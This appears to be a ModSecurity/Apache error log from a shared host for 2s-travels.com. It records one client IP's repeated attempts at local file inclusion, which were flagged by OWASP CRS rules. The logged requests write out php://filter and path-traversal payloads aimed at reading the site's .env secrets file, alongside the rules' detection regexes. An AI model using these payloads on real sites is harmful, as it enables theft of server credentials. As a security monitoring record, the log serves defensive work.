[Fri Jul 17 08:55:11.414947 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.415017 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=AlLmtyhVJKuenxdjdkQ6mKLlkNJB1AYIctc-JyOUM45dRQqHY0EkOc2BvxbLMLmD9-1ut0bwhRBDTgDnrnGs5u82sddbbLLQdK7VSGrfiGRSs70WnT7biWdrHj46AsIxmPavfPbcENkJZauQyE4I08hai6ThhE8ZP3kWFzIeUun3JbNmuFvcTGGLMnGynnUsE9iFQad1YZVn-U2TvOvzs332LqwVEmp97UrM9IPZdp2ksljsVf9ybNoXH0z8CHxY3fAFaGCU6cO-31fBJFsa0gkC&extra=AGFUGCLCLVRUEWNTYH7GUXF4JZKIZD3Z3NUDOXY3RDEHXVV2G3ZPPUKI7JYOT7YRZTST75AEU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.415083 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=allmtyhvjkuenxdjdkq6mkllknjb1ayictc-jyoum45drqqhy0ekoc2bvxblmlmd9-1ut0bwhrbdtgdnrngs5u82sddbbllqdk7vsgrfigrss70wnt7biwdrhj46asixmpavfpbcenkjzauqye4i08hai6thhe8zp3kwfzieuun3jbnmufvctgglmngynnuse9ifqad1yzvn-u2tvovzs332lqwvemp97urm9ipzdp2ksljsvf9ybnoxh0z8chxy3fafagcu6co-31fbjfsa0gkc&extra=agfugclclvruewntyh7guxf4jzkizd3z3nudoxy3rdehxvv2g3zppuki7jyot7yrztst75aeu..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.415121 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.415146 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.415481 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.416518 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.416662 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.418031 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBQwAAAAY"]
[Fri Jul 17 08:55:11.420163 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMwAAAAc"]
[Fri Jul 17 08:55:11.421173 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MMwAAAAc"]
[Fri Jul 17 08:55:11.421308 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.421588 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MMwAAAAc"]
[Fri Jul 17 08:55:11.421653 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=VTvO9DEgUu9Wg_Joi2ASKZdcmvbxf6rWRYg-cB9pyY5I_Y0l6wNjoWRlDlQFE-4dtmSzQmkqEvjunqMwapg0OpP92B1wmj_TKjSMkIdzOMY9L2cNNmbP73POMogKomKx8JIJlmze2BxXnGA2IPMJgeLLeNOl0bwLB6kd6QRXh7AQn9LCf4GflXkp2-WRtiFaol_69fgZTCsDFAz1VrDJgVq_Rab_gpuOz4tD7IcJa9GbCHakU3pscvyeQOfeKFXlmJm6HhsdvTkAKTNb1hsVvr3v&ref=YJFHNSUCHDNAQDRFTMX2HKD4T3FOMSVJGYGNXCLWCBJR3PDLDKPX3QMDUCHFZHJMTGY..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.421701 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MAAAABw"]
[Fri Jul 17 08:55:11.421725 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.421804 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=VTvO9DEgUu9Wg_Joi2ASKZdcmvbxf6rWRYg-cB9pyY5I_Y0l6wNjoWRlDlQFE-4dtmSzQmkqEvjunqMwapg0OpP92B1wmj_TKjSMkIdzOMY9L2cNNmbP73POMogKomKx8JIJlmze2BxXnGA2IPMJgeLLeNOl0bwLB6kd6QRXh7AQn9LCf4GflXkp2-WRtiFaol_69fgZTCsDFAz1VrDJgVq_Rab_gpuOz4tD7IcJa9GbCHakU3pscvyeQOfeKFXlmJm6HhsdvTkAKTNb1hsVvr3v&ref=YJFHNSUCHDNAQDRFTMX2HKD4T3FOMSVJGYGNXCLWCBJR3PDLDKPX3QMDUCHFZHJMTGYYF3Q22FUQNSXSO33CRJMHJLSLR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.421878 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&read=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&junk=vtvo9deguu9wg_joi2askzdcmvbxf6rwryg-cb9pyy5i_y0l6wnjowrldlqfe-4dtmszqmkqevjunqmwapg0opp92b1wmj_tkjsmkidzomy9l2cnnmbp73pomogkomkx8jijlmze2bxxnga2ipmjgellenol0bwlb6kd6qrxh7aqn9lcf4gflxkp2-wrtifaol_69fgztcsdfaz1vrdjgvq_rab_gpuoz4td7icja9gbchaku3pscvyeqofekfxlmjm6hhsdvtkaktnb1hsvvr3v&ref=yjfhnsuchdnaqdrftmx2hkd4t3fomsvjgygnxclwcbjr3pdldkpx3qmduchfzhjmtgyyf3q22fuqnsxso33crjmhjlslr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.421945 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.421994 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.422481 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:read: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.422694 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-MAAAABw"]
[Fri Jul 17 08:55:11.422803 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.423114 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-MAAAABw"]
[Fri Jul 17 08:55:11.424116 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.424309 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.424736 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vScAAAAB4"]
[Fri Jul 17 08:55:11.426971 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:template: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHgAAABQ"]
[Fri Jul 17 08:55:11.427977 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sHgAAABQ"]
[Fri Jul 17 08:55:11.428115 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.428386 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sHgAAABQ"]
[Fri Jul 17 08:55:11.431435 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&read=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=fw2clE_PE1D_H6wvvmvUEttapPtBSfhRTrr7nPotp21sFpXshC5lawN6YOp-tEsNqveRZpudpa1UnojNVGIwEUHqMxBjv13OBshwfV3cYq82FhIzOUu2lFTHfL_xWgN-5De2OQD37KifeKlcCgF6uAzwM2yI1kr09UIJh2n2M0dBLJCQJAEYpCGE3vAadZqbT50e66emWT5JvO2yqF11FsLNtb9sqYXyb2Zen1ozhW9fkOH-Vy70BiXKMqucSMjDub3UuY07AfnJUhcXa8pudVos&token=SIHNK6OA62GQQWIMUAIM2Z63HM4R6H2QHPXRULGLHMYR2FELICACO7O47J6..."] [severity "CRITICAL"] [ver "OWAS 